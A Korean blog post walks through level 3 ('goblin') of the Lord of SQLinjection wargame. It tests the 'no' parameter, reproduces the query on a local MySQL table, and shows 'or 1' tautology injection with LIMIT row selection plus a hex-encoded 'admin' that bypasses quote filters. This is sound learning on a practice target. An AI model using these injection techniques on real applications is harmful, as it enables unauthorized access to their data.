워게임/LOS

Lord of SQLinjection - 3 [ goblin ]

본캐 2022. 12. 30. 15:00

 

 

 

 

 

 

 

문제를 살펴보면,

 

' , " , `  필터가 있고, id = guest , no 값을 GET 방식으로 받고 있다.

 

id 값이 admin 과 일치하면 solve() 함수가 작동하여

 

클리어가 되는 방식이다.

 

 

 

 

 

 

일단 no가 무엇인지를 알아내야하기 때문에

 

no=1 을 넣어 봤다.

 

Hello guest 가 출력된다.

 

 

 

no=0 을 넣었을 땐

 

Hello guest 가 출력되지 않았다.

 

그렇다는건 guest = 1 이라는 걸 알 수 있다.

 

 

그렇다면 no=1 or 1을 넣어 참으로 만들면 어떨까?

 

 

 

 

 

mysql> select * from test1;
+-------+-----+
| id    | num |
+-------+-----+
| guest |   1 |
| admin |   2 |
+-------+-----+
2 rows in set (0.00 sec)

 

guest = 1 이고 admin = 2 인 테이블을 만들어 보았다.

 

 

 

mysql> select id from test1 where id='guest' and num=1 or 1;
+-------+
| id    |
+-------+
| guest |
| admin |
+-------+
2 rows in set (0.00 sec)

 

num=1 or 1 을 했을 때,

 

id 의 모든 정보가 출력되는 걸 확인 할 수 있다.

 

 

 

mysql> select id from test1 where id='guest' and num=1 or 1 limit 1,1;
+-------+
| id    |
+-------+
| admin |
+-------+
1 row in set (0.00 sec)

 

LIMIT 이라는 함수로

 

admin 만 뽑아낼 수 있다.

 

이제 이걸 문제에 적용 시켜보자.

 

 

 

 

[MySQL] Limit 사용법

//아래 예는 5개 가져오기 SELECT * FROM [TABLE NAME] LIMIT 5; // LIMIT 시작점, 갯수 (아래 예의 경우 5번째부터 10개 추출. 첫번째 파라미터는 0 부터 시작함!) SELECT * FROM [TABLE NAME] LIMIT 4, 10;

nolran.tistory.com

 

 

 

 

 

 

 

 

 

👍

 

 

 

 

 

 

 

[ + ] 

 

admin =  0x61646D696E

 

admin 을 16진수로 바꿔서 푸신 분들도 계시더라구요